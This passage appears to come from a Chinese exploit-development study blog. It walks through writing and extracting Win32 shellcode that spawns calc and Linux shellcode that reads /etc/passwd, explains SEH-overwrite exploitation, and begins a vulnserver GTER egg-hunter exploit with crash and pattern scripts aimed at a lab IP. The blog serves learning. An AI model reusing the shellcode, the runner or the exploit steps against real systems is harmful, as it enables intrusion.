mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
cmp [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ptr ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

}
return 0;
}

发现运行正常:

shellcode

开始提取shellcode。先看下编写的汇编程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
	global _start

section .text
_start:

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp dword [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp dword [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
cmp dword [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

和之前的内联汇编略有不同,内存寻址的时候不需要加ptrcmp比较的时候需要指定类型。编译的时候既可以选择elf32也可以选择win32。得到的shellcode略有不同,但都是能够执行成功的。来看一下。

编译为elf32

shellcode

提取shellcode

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d get_calc_shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0

编译为win32

shellcode

提取shellcode

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d get_calc_shellcode.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00"

发现编译成win32之后,提取出来的shellcode包含\x00截断字符,在后续的验证程序中,截断字符及后面的字符可以保留也可以删掉,不影响弹计算器。

最后的执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <windows.h>

int main()
{

//char* shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0";
char* shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff"; //\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00";
printf("shellcode length: %i", strlen(shellcode));

LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, strlen(shellcode));

((void(*)())lpAlloc)();

return 0;
}

最终,执行成功:

shellcode

参考:

1.https://www.cnblogs.com/bokernb/p/6404795.html

2.https://xz.aliyun.com/t/10478#toc-6

3.https://www.linkedin.com/pulse/how-write-windows-shellcode-beginners-part-2-abdel-harbi/?trk=mp-author-card

4.https://tech-zealots.com/malware-analysis/pe-portable-executable-structure-malware-analysis-part-2/

5.https://medium.com/ax1al/a-brief-introduction-to-pe-format-6052914cc8dd

6.https://resources.infosecinstitute.com/topic/the-export-directory/

7.https://blog.kowalczyk.info/articles/pefileformat.html

8.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-1-Locating-the-kernelbase-address/#

9.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-2-Locate-the-Export-Directory-Table/#

10.https://www.linkedin.com/pulse/write-windows-shellcode-beginners-part-3-final-abdel-harbi/

11.https://h0mbre.github.io/Babys-First-Shellcode/#

12.https://blackcloud.me/Win32-shellcode-2/

这里,学习编写简单的Linux Shellcode。本机的系统内核版本如下:

shellcode

利用execve函数来打印/etc/passwd的内容。

来看一下execve函数的原型:https://man7.org/linux/man-pages/man2/execve.2.html

shellcode

看一下具体的c语言实现:

1
2
3
4
5
6
7
8
9
#include <unistd.h>
main()
{
char *ls[3];
ls[0] = "/bin/cat";
ls[1] = "/etc/passwd";
ls[2] = NULL;
execve(ls[0],ls,NULL);
}

这个小程序实现的功能是查看/etc/passwd的内容。

编译程序(看有的为了反汇编方便,会静态编译程序,我对比了一下,差别不是很大)

1
gcc -g -o list list.c

先弄明白整个程序的执行过程,开启gdb调试。

反汇编main函数:

shellcode

(main+68)下断点,然后运行程序。

shellcode

查看此时eip的值,指定指向调用execve函数。

shellcode

反汇编execve函数:

shellcode

(execve+18)处下断点,继续跟进。

可以发现内部通过call DWORT PTR gs:0x10执行系统调用中断,进入系统调用。执行__kernel_vsyscall函数。

shellcode

查看一下此时各寄存器的值。

shellcode

这里,eax保存的是execve函数的系统调用号,ebx保存的是execve函数的第二个参数,ecx保存的是execve函数的第三个参数,edx的值为0

注意后续的两条指令,sysenterint 0x80。通过80中断(软中断)进入系统调用的方式是Linux 2.6之前的做法。指令sysenter是在奔腾(R) II处理器上引入的“快速系统调用”功能的一部分。指令sysenter进行过专门的优化,能够以最佳性能转换到保护环 0(CPL 0)sysenterint 0x80的替代品,实现相同的功能。这里稍微有点疑问,为什么会连两条中断进入系统调用的指令,难道现在优先用第一条,如果不行再第二条?

32位系统里面,execve函数的系统调用号可以通过如下方式查询:

1
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve

shellcode

注意:以上ecx的值其实是一个二阶指针。具体可以看下面:

shellcode

到目前为止,程序的整个运行过程基本搞清楚了。现在来写一个汇编实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
section .text
global _start
_start:
xor eax, eax
mov edx, eax
push edx
push 0x7461632f
push 0x6e69622f
mov ebx,esp
push edx
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp
push edx
push ecx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

上面这段代码里面,注意/bin/cat/etc/passwd都是按照四个字符一组进行分割,转换成16进制,压入栈中。linux有个地方很有意思/bin/cat/bin//cat最后解析出来是一样的。这样四个字符一组的时候,出现空缺的字符可以用/代替,毕竟不会影响最后的解析。还要注意大小端的问题。

编译:

1
nasm -f elf32 call_execve.asm

链接:

1
ld -m elf_i386 -o call_execve call_execve.o

执行效果如下:

shellcode

现在,来提取shellcode。参考:https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

1
objdump -d ./call_execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

shellcode

最后,测试一下。这里用到了函数指针的概念。

1
2
3
4
5
6
7
8
#include <stdio.h>
const char
shellcode[]="\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
int main()
{
(*(void (*)()) shellcode)();
return 0;
}

这里会出现一个问题,编译之后运行会出现segmentation fault。这个错误的出现与内核版本有关,解决办法可以参考:https://medium.com/csg-govtech/why-doesnt-my-shellcode-work-anymore-136ce179643f

简而言之,就是把全局变量变为局部变量。我发现改完之后直接编译,运行还是会出错。发现需要编译的时候加上-z execstack,最终才能正常运行。

最终的测试代码如下:

1
2
3
4
5
6
7
#include<stdio.h>
#include<string.h>
int main(void)
{
unsigned char shellcode[] = "\x31\xc0\x89\xc2\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
(*(void(*)()) shellcode)();
}

编译方式如下:

1
gcc -z execstack -g customshellcode.c -o customshellcode

shellcode

最终,运行成功:

shellcode

参考:

1.https://www.cnblogs.com/LittleHann/p/4111692.html

2.http://cybersecurity.ustc.edu.cn/ns/ns09.pdf

3.https://www.anquanke.com/post/id/216207

做一点小笔记,加深印象。SEH Stack Overflow的利用,需要理解SEH的原理,理解原理之后,才会明白POP/POP/RET结构的必要性。

SEH Introduction

Structured Exception Handler EXPLOITATION

POP POP RET

The need for a POP POP RET instruction sequence上文提到POP/POP/RET的必要性,其中解释的时候Figure3所显示栈空间布局,ESP所指地址空间为何是那样的,主要涉及到返回值为EXCEPTION_DISPOSITION的回调函数在在栈空间的分布的问题。异常发生后,会在栈上划出一块区域,分配给如下所示的回调函数,ESP指向回调函数所分配栈空间的最上面。回调函数如下所示:可参考
A Crash Course on the Depths of Win32 Structured Exception Handling 翻译版
A Crash Course on the Depths of Win32 Structured Exception Handling

1
2
3
4
5
6
7
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);

shellcode结构如下所示:

参考:Exploit writing tutorial part 3 : SEH Based Exploits

seh

在这里解释一下:

(1)当异常发生的时候,首先调到SEH链中第一个异常处理的SE Handler部分进行异常处理,在这里需要覆盖一个地址,使其指向POP/POP/RET指令所在的位置。至于为什么要用P/P/R指令,可以参照如下所示:

seh当异常发生的时候,ESP的位置,现在需要使用P/P/R指令让EIP指向EstablisherFrame所在的地址,这样就可以指向SEH调用链了。

(2)第一步完成之后,EIP指向SEH调用链第一个异常处理结构的Next SEH部分。这里存放一个跳转指定,让其跳过其后面紧跟的SEH Handler部分,JMP指令占两个字节,需要跳过六个字节,这里可以使用\xEB\x06\x90\x90来覆盖Next SEH部分的内容

(3)第二步的跳转执行完之后,直接来到的shellcode所在的部分,进而完成利用。

本次实验讨论在win 7 sp1 32位操作系统,关闭DEP。获取系统调用号一般可以查询windows-syscalls,或者自己用windbg进行查看,或者用IDA查看。采用基于NtDisplayStringegg hunter代码块,因为不同版本操作系统的NtDisplayString系统调用号不一样,所以egg hunter代码块需要做一些修改。先来看下在windbg下如何获取NtDisplayString的系统调用号。

再来看一下如何用IDA来查看。

IDA打开ntdll.dll,查看导出表,找到NtDisplayString,查看汇编代码:

egghunter

可以发现系统调用号为6Dh

现在,到windbg里面验证一下。从上面IDA中可以发现,Ring3层中的NtDisplayStringRing0层变成了ZwDisplayString

用管理员权限打开windbg,然后本地内核调试。

egghunter

也可以先查看SSDT(系统服务描述符表)。

windbg中查看已导出成员:

egghunter

windbg中查看未导出成员:

egghunter

函数地址表+系统服务号*4=内核函数地址

NtDisplayString的系统服务号为6Dh,来计算其内核函数地址。然后反汇编。

egghunter

发现出现了内存不能访问。试一下另一个在egghunter用的比较多的函数NtAccessCheck,它的函数服务号为1h。计算其内核函数地址,然后反汇编,发现这下没有错误。连续试了好几个函数,发现就NtDisplayString函数出现了内存访问错误。不是很明白原因。

egghunter

好了,现在进入正题。

首先,进行fuzz。之前文章有提到过,这里就不再复述了。

似乎5060个字符可以导致vulnserver崩溃。

egghunter

简单测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.147'
PORT = 9999


PAYLOAD = (
b'GTER /.:/' +
b'A' * 5060
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

确实崩溃了:

egghunter

可以看到,EIP的值被覆盖了。按照溢出利用的一般流程进行操作。

这里用windbg进行调试,在windbg调用mona进行测试字符串的生成。命令如下,先加载。

1
.load pykd.pyd

生成测试字符串:

1
!py mona pc 5060

pattern.txt文件中复制生成的测试字符串进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.147'
PORT = 9999
pattern_bytes = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3